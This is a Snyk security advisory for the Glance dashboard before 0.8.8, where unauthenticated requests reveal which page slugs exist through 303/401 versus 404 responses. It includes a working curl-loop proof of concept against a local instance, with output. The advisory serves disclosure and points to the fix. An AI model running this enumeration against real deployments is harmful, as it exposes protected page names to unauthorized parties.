Information Exposure Affecting github.com/glanceapp/glance/internal/glance package, versions <0.8.8


Severity

Recommended
0.0
medium
0
10

CVSS assessment by Snyk's Security Team. Learn more

Threat Intelligence

Exploit Maturity
Proof of Concept
EPSS
0.39% (34th percentile)

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications
  • Snyk IDSNYK-GOLANG-GITHUBCOMGLANCEAPPGLANCEINTERNALGLANCE-22549568
  • published14 Nov 2026
  • disclosed13 Nov 2026
  • creditSandipkumar sah

Introduced: 13 Nov 2026

NewCVE-2026-126955  (opens in a new tab)
CWE-204  (opens in a new tab)

How to fix?

Upgrade github.com/glanceapp/glance/internal/glance to version 0.8.8 or higher.

Overview

Affected versions of this package are vulnerable to Information Exposure via handlePageRequest and handlePageContentRequest in internal/glance/glance.go, which perform the page-slug existence check against slugToPage before the authorization check. An unauthenticated attacker can send requests to /{page} or /api/pages/{page}/content/ and distinguish real page slugs from non-existent ones by comparing the HTTP response codes: a valid slug returns 303 (redirect to login) or 401, while an invalid slug returns 404. By wordlisting slug candidates, an attacker can enumerate all configured page names without any credentials.

PoC

The test instance has a page named Home (slug home) and a page named Secret Page (slug secret). No cookie is sent on any request below.

Page endpoint — real slugs redirect to login, fake slugs 404:

$ for p in secret home nonexistent-abc123 admin; do
    code=$(curl -s -o /dev/null -w '%{http_code}' "http://127.0.0.1:8081/$p")
    loc=$(curl -s -o /dev/null -w '%{redirect_url}' "http://127.0.0.1:8081/$p")
    printf "  GET /%-20s -> HTTP %s  %s\n" "$p" "$code" "$loc"
  done
  GET /secret               -> HTTP 303  http://127.0.0.1:8081/login
  GET /home                 -> HTTP 303  http://127.0.0.1:8081/login
  GET /nonexistent-abc123   -> HTTP 404
  GET /admin                -> HTTP 404

Content endpoint — same oracle, 401 vs 404:

$ for p in secret home nonexistent-abc123; do
    code=$(curl -s -o /dev/null -w '%{http_code}' "http://127.0.0.1:8081/api/pages/$p/content/")
    printf "  GET /api/pages/%-20s/content/ -> HTTP %s\n" "$p" "$code"
  done
  GET /api/pages/secret              /content/ -> HTTP 401
  GET /api/pages/home                /content/ -> HTTP 401
  GET /api/pages/nonexistent-abc123  /content/ -> HTTP 404

A real slug (secret, home) answers 303/401; a bogus slug answers 404. By wordlisting the slug, an unauthenticated attacker recovers the set of configured page names without logging in — note that the presence of a page deliberately named secret is disclosed this way.

Note: The PoC runs against a local Glance instance on port 8081 with pages named "Home" (slug home) and "Secret Page" (slug secret), sending no authentication cookie.

CVSS Base Scores

version 4.0
version 3.1